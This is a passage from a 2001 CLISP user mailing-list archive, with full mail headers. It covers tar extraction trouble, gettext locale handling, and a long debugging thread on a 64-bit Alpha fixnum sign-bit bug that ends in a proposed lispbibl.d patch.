filename.tar that makes the problem. how can I extract it ? (win98 system) stefan the cltl_scr.tar reports: Trailing garbage in gzip file, decompression ended. From rurban@x-ray.at Sat Sep 22 03:08:08 2001 Received: from mailrelay.tu-graz.ac.at ([129.27.3.7] helo=mailrelay.tugraz.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15kjhe-0007TW-00 for ; Sat, 22 Sep 2001 03:08:06 -0700 Received: from x-ray.at (chello212186199154.sc-graz.chello.at [212.186.199.154]) by mailrelay.tugraz.at (8.12.0/8.12.0) with ESMTP id f8MA7ZKM029224; Sat, 22 Sep 2001 12:07:35 +0200 (MEST) Message-ID: <3BAC62FC.BAA8E3E6@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: lin8080 CC: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] html-doc-zip References: <3BABEB2C.45AA38B7@freenet.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS-perl11-milter (http://amavis.org/) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 22 03:09:02 2001 X-Original-Date: Sat, 22 Sep 2001 11:07:56 +0100 lin8080 schrieb: > inside there is a: > cltl_ht.tar (15.09.06-04:19) > and winzip is not able to extrakt it. > > I guess it is the "" at the beginn of the filename.tar that makes the > problem. > how can I extract it ? (win98 system) cs.cmu.edu/afs is known to notoriously sending wrong content-type headers. please download it again with wget. maybe a download with internet explorer or other special download software also works. netscape downloads will never work. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Bernard.Urban@meteo.fr Mon Sep 24 10:12:20 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15lZHG-000564-00 for ; Mon, 24 Sep 2001 10:12:18 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <15279.20737.56778.292264@honolulu.ilog.fr> From: Bernard Urban In-Reply-To: <15279.20737.56778.292264@honolulu.ilog.fr> Message-ID: <874rpsjyxj.fsf@merceron.meteo.fr> Lines: 43 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 24 10:13:02 2001 X-Original-Date: 24 Sep 2001 19:12:08 +0200 Bruno Haible writes: > Sam wrote: > [...] > > From: Bernard Urban > > > > Good news from the front ! It works now on Linux (not tried Solaris so far > > to confirm Raymond Toy message). > > > > I spotted the problem to be in gettext/intl/dcigettext.c in > > #define HAVE_LOCALE_NULL. It appears that setlocale (.., NULL) does > > not work as assumed in the case of glibc2, and always returns the C > > locale instead of the fr locale defined in spvw_language.d. > > > > So undefining HAVE_LOCALE_NULL forces the code to use instead > > getenv("LC_MESSAGES"), which works ok. > > I have tried undefining HAVE_LOCALE_NULL in gettext yesterday, and the > effect is that gettext becomes less reliable. It has the effect that > when I set e.g. LANGUAGE=fr LANG=fr_DE (i.e. pointing to a > nonexistent locale), I get the french translations, but in a wrong > character encoding! Therefore it's really better if gettext relies on > the locales being present. > But in my case (Debian system), the fr locale prexisted (in /usr/share/locale) for some GNU utilities, so it should have been found ? > > A long term solution to the above HAVE_LOCALE_NULL problem is probably > > to test the feature through autoconf. > > You cannot test for missing locales through autoconf. On every system, > some locales are missing. > I mean testing if HAVE_LOCALE_NULL works as expected, its value is currently based on the use of glibc2. -- Bernard Urban From haible@ilog.fr Mon Sep 24 12:12:36 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15lb9d-000163-00 for ; Mon, 24 Sep 2001 12:12:34 -0700 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.6/8.11.6) with ESMTP id f8OJBSI24218 for ; Mon, 24 Sep 2001 21:11:28 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.171]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id f8OJCHo28265; Mon, 24 Sep 2001 21:12:17 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA08540; Mon, 24 Sep 2001 21:12:51 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15279.34216.712470.664778@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 24 12:13:16 2001 X-Original-Date: Mon, 24 Sep 2001 21:12:40 +0200 (CEST) > But in my case (Debian system), the fr locale prexisted > (in /usr/share/locale) for some GNU utilities, > so it should have been found ? The locale is in /usr/lib/locale, and in glibc-2.2 there is no "fr" locale. (What kind of monetary information would it contain? French or Swiss or Luxemburgish Franc?) What you see in /usr/share/locale are the translation catalogs, where a catalog named "fr" acts as fallback for all locales starting in "fr_": "fr_FR", "fr_CH" etc. Bruno From reti@ai.mit.edu Mon Sep 24 12:45:01 2001 Received: from life.ai.mit.edu ([128.52.32.80]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15lbf2-0006xi-00 for ; Mon, 24 Sep 2001 12:45:00 -0700 Received: from RAINIER-VLM.AI.MIT.EDU (rainier-vlm [128.52.39.170]) by life.ai.mit.edu (8.9.3/8.9.3/AI2.13/ai.master.life:2.21) with SMTP id PAA02265; Mon, 24 Sep 2001 15:44:06 -0400 (EDT) From: reti@ai.mit.edu Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc To: sds@gnu.org, reti@ai.mit.edu cc: clisp-list@lists.sourceforge.net, haible@gnu.org In-Reply-To: Message-ID: <20010924194431.4.RETI@RAINIER-VLM.AI.MIT.EDU> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 24 12:45:07 2001 X-Original-Date: Mon, 24 Sep 2001 15:44 -0400 Date: Fri, 21 Sep 2001 14:09 EDT From: Sam Steingold > * In message <20010921170920.2.RETI@RAINIER-VLM.AI.MIT.EDU> > * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on Fri, 21 Sep 2001 13:09 -0400 > * Honorable reti@ai.mit.edu writes: > > [mailing list removed] please do not do that because mailing lists are archived and my personal mail is not. Sorry, I was just trying to prevent bothering everyone with what seemed like a one-on-one conversation. > (loop for size from 2 to 40 do (handler-case (bin-stream-test :size size :type'signed-byte) (error (e) (format t "~&Case ~d got error ~a" size e)))) > > and got this result: > > Case 2 got error > * [(SIGNED-BYTE 2)] -10 != 1.70139s38 you also got errors until case 35, i.e., bignums are broken too. > The problem appears to be in the following code from the rd_by_iu_I routine in stream.d/c: > > return negfixnum(wbitm(intLsize)+(oint)wert); > > The wbitm appears to be adding 0x100000000 to the correct signed C > value in wert, and then negfixnum is adding that to 0x4200000000 to Whoops, the above should have been 0x43000000 insteand of 0x4200000000. > produce 0x44xxxxxxxx. If I change it back to 0x43xxxxxxxx, I get the > right answer, so whatever bit 0x100000000 is (the mark bit?), it is > erroneously getting added in twice apparently changing the type code. I was wrong. It got what appeared to be the right answer, i.e. it printed out as -1 or -2 (the two test cases I used in the 2-bit case) but those returned values were not EQ (or EQL or EQUAL) to a typed-in -1 or -2. 0x43ffffffff prints out as -1, but 0x42ffffffff is the real -1. interesting. what if you replace the line with return negfixnum((oint)wert); what does "make check" say? It still fails, but this time because the values, although they print out OK, are not EQL, since they have the 0x43 type bits instead of the 0x42 type bits. thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on OK, so you're a Ph.D. Just don't touch anything. From sds@gnu.org Mon Sep 24 13:39:41 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15lcVx-0005uC-00 for ; Mon, 24 Sep 2001 13:39:41 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA09520; Mon, 24 Sep 2001 16:39:37 -0400 (EDT) X-Envelope-To: To: reti@ai.mit.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010924194431.4.RETI@RAINIER-VLM.AI.MIT.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010924194431.4.RETI@RAINIER-VLM.AI.MIT.EDU> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 Message-ID: Lines: 41 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 24 13:40:05 2001 X-Original-Date: 24 Sep 2001 16:38:45 -0400 > * In message <20010924194431.4.RETI@RAINIER-VLM.AI.MIT.EDU> > * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on Mon, 24 Sep 2001 15:44 -0400 > * Honorable reti@ai.mit.edu writes: > > Sorry, I was just trying to prevent bothering everyone with what > seemed like a one-on-one conversation. I understand. > > produce 0x44xxxxxxxx. If I change it back to 0x43xxxxxxxx, I > > get the right answer, so whatever bit 0x100000000 is (the mark > > bit?), it is erroneously getting added in twice apparently > > changing the type code. > > I was wrong. It got what appeared to be the right answer, i.e. it > printed out as -1 or -2 (the two test cases I used in the 2-bit case) > but those returned values were not EQ (or EQL or EQUAL) to a typed-in > -1 or -2. > > 0x43ffffffff prints out as -1, but 0x42ffffffff is the real -1. what do you get as type-of for 0x43ffffffff? what do you get when you replace return negfixnum(wbitm(intLsize)+(oint)wert); with return negfixnum(-wbitm(intLsize)+(oint)wert); ?? thanks for your help! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on MS: Brain off-line, please wait. From reti@ai.mit.edu Tue Sep 25 05:59:49 2001 Received: from life.ai.mit.edu ([128.52.32.80]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15lroS-0008Gu-00 for ; Tue, 25 Sep 2001 05:59:48 -0700 Received: from RAINIER-VLM.AI.MIT.EDU (rainier-vlm [128.52.39.170]) by life.ai.mit.edu (8.9.3/8.9.3/AI2.13/ai.master.life:2.21) with SMTP id IAA00935; Tue, 25 Sep 2001 08:59:45 -0400 (EDT) From: reti@ai.mit.edu Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc To: sds@gnu.org, reti@ai.mit.edu cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: <20010925130011.5.RETI@RAINIER-VLM.AI.MIT.EDU> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 25 06:00:02 2001 X-Original-Date: Tue, 25 Sep 2001 09:00 -0400 Date: Mon, 24 Sep 2001 16:38 EDT From: Sam Steingold [stuff elided] what do you get as type-of for 0x43ffffffff? Fixnum what do you get when you replace return negfixnum(wbitm(intLsize)+(oint)wert); with return negfixnum(-wbitm(intLsize)+(oint)wert); ?? That fixed it. Just out of curiosity, what is bit 32 supposed to mean? thanks for your help! You're welcome. From bgrooter@mcs.drexel.edu Tue Sep 25 07:04:18 2001 Received: from king.mcs.drexel.edu ([129.25.6.170]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15lsor-0002A4-00 for ; Tue, 25 Sep 2001 07:04:17 -0700 Received: from mcs.drexel.edu (queen.mcs.drexel.edu [129.25.6.176]) by king.mcs.drexel.edu (8.9.1/8.9.1) with ESMTP id KAA10040 for ; Tue, 25 Sep 2001 10:04:15 -0400 (EDT) Received: from localhost (bgrooter@localhost) by mcs.drexel.edu (8.10.2+Sun/8.10.2) with ESMTP id f8PE4Fw29103 for ; Tue, 25 Sep 2001 10:04:15 -0400 (EDT) From: "Benjamin V. Grooters" To: "clisp-list@lists.sourceforge.net" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Missing ensure-generic-function ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 25 07:05:01 2001 X-Original-Date: Tue, 25 Sep 2001 10:04:15 -0400 (EDT) Is clisp simply missing an implementation of ensure-generic-function or am I doing something wrong that's keeping me from being able to use it? I ask mainly because I'm trying to use the code repository from AI a Modern Approach, and it won't compile because of this. Ben From sds@gnu.org Tue Sep 25 09:24:50 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15lv0s-0003fA-00 for ; Tue, 25 Sep 2001 09:24:50 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA11798; Tue, 25 Sep 2001 12:24:29 -0400 (EDT) X-Envelope-To: To: reti@ai.mit.edu Cc: clisp-list@lists.sourceforge.net, Bruno Haible Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010925130011.5.RETI@RAINIER-VLM.AI.MIT.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010925130011.5.RETI@RAINIER-VLM.AI.MIT.EDU> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 25 09:25:03 2001 X-Original-Date: 25 Sep 2001 12:23:02 -0400 > * In message <20010925130011.5.RETI@RAINIER-VLM.AI.MIT.EDU> > * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on Tue, 25 Sep 2001 09:00 -0400 > * Honorable reti@ai.mit.edu writes: > > Date: Mon, 24 Sep 2001 16:38 EDT > From: Sam Steingold > > [stuff elided] > > what do you get as type-of for 0x43ffffffff? > > Fixnum what does this evaluate to? (+ 0 0x43ffffffff) ==> > what do you get when you replace > > return negfixnum(wbitm(intLsize)+(oint)wert); > > with > > return negfixnum(-wbitm(intLsize)+(oint)wert); > > ?? > > That fixed it. all cases? fixnum and bignum? make check now passes? > Just out of curiosity, what is bit 32 supposed to mean? all 3 cases: return negfixnum( wbitm(intLsize)+(oint)wert); return negfixnum(-wbitm(intLsize)+(oint)wert); return negfixnum( (oint)wert); are identical on win32, linux and solaris. I wonder what is going on here. Note that negfixnum() is used in just a couple of place in the whole of CLISP - actually, always with small constants, except for SF_to_I() and FF_to_I(). Kalman, could you please try coercing some negative single and short floats to fixnums? Bruno, I would greatly appreciate your insight. thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Marriage is the sole cause of divorce. From reti@ai.mit.edu Wed Sep 26 07:54:28 2001 Received: from life.ai.mit.edu ([128.52.32.80]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15mG4y-0003S6-00 for ; Wed, 26 Sep 2001 07:54:28 -0700 Received: from RAINIER-VLM.AI.MIT.EDU (rainier-vlm [128.52.39.170]) by life.ai.mit.edu (8.9.3/8.9.3/AI2.13/ai.master.life:2.21) with SMTP id KAA09594; Wed, 26 Sep 2001 10:54:16 -0400 (EDT) From: reti@ai.mit.edu Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc To: sds@gnu.org, reti@ai.mit.edu cc: clisp-list@lists.sourceforge.net, haible@gnu.org In-Reply-To: Message-ID: <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 26 07:55:03 2001 X-Original-Date: Wed, 26 Sep 2001 03:45 -0400 Date: Tue, 25 Sep 2001 12:23 EDT From: Sam Steingold what does this evaluate to? (+ 0 0x43ffffffff) ==> Prints out as -1, but isn't EQL to typed in -1, hence I deduce it is an example of 0x43ffffffff. > what do you get when you replace > > return negfixnum(wbitm(intLsize)+(oint)wert); > > with > > return negfixnum(-wbitm(intLsize)+(oint)wert); > > ?? > > That fixed it. all cases? fixnum and bignum? make check now passes? Yes, sorry for not making that clear. > Just out of curiosity, what is bit 32 supposed to mean? all 3 cases: return negfixnum( wbitm(intLsize)+(oint)wert); return negfixnum(-wbitm(intLsize)+(oint)wert); return negfixnum( (oint)wert); are identical on win32, linux and solaris. You mean a 32-bit Linux, right? I'm planning to set up an Alpha Linux presently, and I presume it would behave the same way as Tru64. Is the Solaris on a 64-bit or 32-bit system? The code is conditionalized to allow more type bits for 64-bit systems, so it isn't surprisiing that 32-bit systems don't see any problems. I wonder what is going on here. There is something curious in lispbibl.c: /* Bits 63..33 = Typcode, Bits 32..0 = Adresse */ #if 1 /* Was ist besser?? */ #define oint_type_shift 32 #define oint_type_len 32 #else #define oint_type_shift 33 #define oint_type_len 31 #endif #define oint_type_mask 0xFFFFFFFE00000000UL #define oint_addr_shift 0 #define oint_addr_len 33 #define oint_addr_mask 0x00000001FFFFFFFFUL #define oint_data_shift 0 #define oint_data_len 32 #define oint_data_mask 0x00000000FFFFFFFFUL I'm guessing that the original code was the second leg of the #if 1, i.e. shift of 33 and length of 31, but someone was trying out the first branch, i.e. shift of 32 and length of 32. However, the oint_type_mask value looks like it goes with the original value (i.e. 31 bits starting in bit 33). This makes the type bits be shifted over one from where the should be, (i.e. fixnum is 0x40 instead of 0x20) and leaves room for the "don't care" bit which leads to the confusion between 0x43ffffffff and 0x42ffffffff. However, putting it back didn't fix this particular bug. From reading the code some more, I'm reasonably certain that bit 32 is intended to be the fixnum sign bit, and that the wbitm(intLsize)+ part of the expression is intended to be doing sign extension of the known to be negative sign of the C value into that sign bit. The various preprocessor macros used inside negfixnum (fixnum_inc which calls objectplus which calls pointerplus) seem to expect addition to be modulo 32-bits, i.e. not affecting the sign or type bits, but on a 64bit machine the addition is a 64-bit one, and if you supply the sign bit twice [in this case both from the Fixnum_minus1 in negfixnum's expansion and the wbitm(intLsize) in returning the result], the overflow out of the sign bit goes into the next higher order type bit, hence the bug of returning a short float result instead of a negative fixnum. (The type short float is next higher than fixnum.) My guess is that on a 64-bit machine, fixnum_inc needs to be a bit smarter and do a masked or 32-bit addition. Note that negfixnum() is used in just a couple of place in the whole of CLISP - actually, always with small constants, except for SF_to_I() and FF_to_I(). Kalman, could you please try coercing some negative single and short floats to fixnums? I'm not sure what you want me to do. The Common Lisp COERCE function won't accept fixnum as a type. Floor and ceiling work as expected, i.e. give correct negative integers, not the bogus ones. Bruno, I would greatly appreciate your insight. thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Marriage is the sole cause of divorce. From sds@gnu.org Wed Sep 26 09:40:06 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15mHjC-0004Wq-00 for ; Wed, 26 Sep 2001 09:40:06 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA24651; Wed, 26 Sep 2001 12:39:45 -0400 (EDT) X-Envelope-To: To: reti@ai.mit.edu Cc: clisp-list@lists.sourceforge.net, haible@gnu.org Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU> Message-ID: Lines: 76 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 26 09:41:02 2001 X-Original-Date: 26 Sep 2001 12:38:29 -0400 > * In message <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU> > * On the subject of "Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on Wed, 26 Sep 2001 03:45 -0400 > * Honorable reti@ai.mit.edu writes: > > > Just out of curiosity, what is bit 32 supposed to mean? > > all 3 cases: > return negfixnum( wbitm(intLsize)+(oint)wert); > return negfixnum(-wbitm(intLsize)+(oint)wert); > return negfixnum( (oint)wert); > are identical on win32, linux and solaris. > > You mean a 32-bit Linux, right? yes, and 32-big Solaris too. sorry about not saying this. > I'm planning to set up an Alpha Linux presently, and I presume it > would behave the same way as Tru64. Unfortunately, I must tell you that CLISP does _not_ work on Alpha Linux with glibc2.2 (it _does_ work with glibc2.1). http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=1355&atid=101355 your assistance in tracking down the problem would be greatly appreciated! > Note that negfixnum() is used in just a couple of place in the whole of > CLISP - actually, always with small constants, except for SF_to_I() and > FF_to_I(). Kalman, could you please try coercing some negative single > and short floats to fixnums? > > I'm not sure what you want me to do. The Common Lisp COERCE function > won't accept fixnum as a type. if the float is small enough, (coerce float 'integer) should return a fixnum. > My guess is that on a 64-bit machine, fixnum_inc needs to be a bit > smarter and do a masked or 32-bit addition. could you please remove "wbitm(intLsize)" from the negfixnum() call altogether and try the appended patch? [untested - I am sure you can fix it :-] thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If your VCR is still blinking 12:00, you don't want Linux. Index: lispbibl.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v retrieving revision 1.217 diff -u -w -b -u -b -w -i -B -r1.217 lispbibl.d --- lispbibl.d 2001/09/24 20:03:22 1.217 +++ lispbibl.d 2001/09/26 16:36:52 @@ -2619,11 +2619,15 @@ # To add something to an object/oint: # objectplus(obj,offset) +#define add(obj,offset) \ + ( (as_oint(obj) & oint_type_mask) | \ + (as_oint(obj) + (soint)(offset)) & oint_addr_mask ) #if !(defined(WIDE_SOFT) || defined(OBJECT_STRUCT)) - #define objectplus(obj,offset) ((object)pointerplus(obj,offset)) + #define objectplus(obj,offset) ((object)add(obj,offset)) #else # defined(WIDE_SOFT) || defined(OBJECT_STRUCT) - #define objectplus(obj,offset) as_object(as_oint(obj)+(soint)(offset)) + #define objectplus(obj,offset) as_object(add(obj,offset)) #endif +#undef add # Bit operations on sizes of type oint: # ...wbit... instead of ...bit..., "w" = "wide". From toy@rtp.ericsson.se Thu Sep 27 13:49:53 2001 Received: from imr2.ericy.com ([12.34.240.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15mi6Q-0007Qo-00 for ; Thu, 27 Sep 2001 13:49:50 -0700 Received: from mr7.exu.ericsson.se (mr7att.ericy.com [138.85.92.15]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f8RKnhQ05756 for ; Thu, 27 Sep 2001 15:49:43 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f8RKnhN26936 for ; Thu, 27 Sep 2001 15:49:43 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Thu Sep 27 15:49:42 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id QAA19847; Thu, 27 Sep 2001 16:50:55 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id QAA04282; Thu, 27 Sep 2001 16:49:39 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: reti@ai.mit.edu Cc: clisp-list@lists.sourceforge.net, haible@gnu.org Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU> From: Raymond Toy In-Reply-To: Message-ID: <4nhetopdel.fsf@rtp.ericsson.se> Lines: 9 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 27 13:50:03 2001 X-Original-Date: 27 Sep 2001 16:49:38 -0400 >>>>> "Sam" == Sam Steingold writes: Sam> if the float is small enough, (coerce float 'integer) should return a Sam> fixnum. Are you sure? This seems wrong to me. Ray From sds@gnu.org Fri Sep 28 06:05:01 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15mxK9-0007Fo-00 for ; Fri, 28 Sep 2001 06:05:01 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA21875; Fri, 28 Sep 2001 09:04:34 -0400 (EDT) X-Envelope-To: To: Raymond Toy Cc: reti@ai.mit.edu, clisp-list@lists.sourceforge.net, haible@gnu.org Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU> <4nhetopdel.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nhetopdel.fsf@rtp.ericsson.se> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 28 06:06:01 2001 X-Original-Date: 28 Sep 2001 09:04:01 -0400 > * In message <4nhetopdel.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] Problems 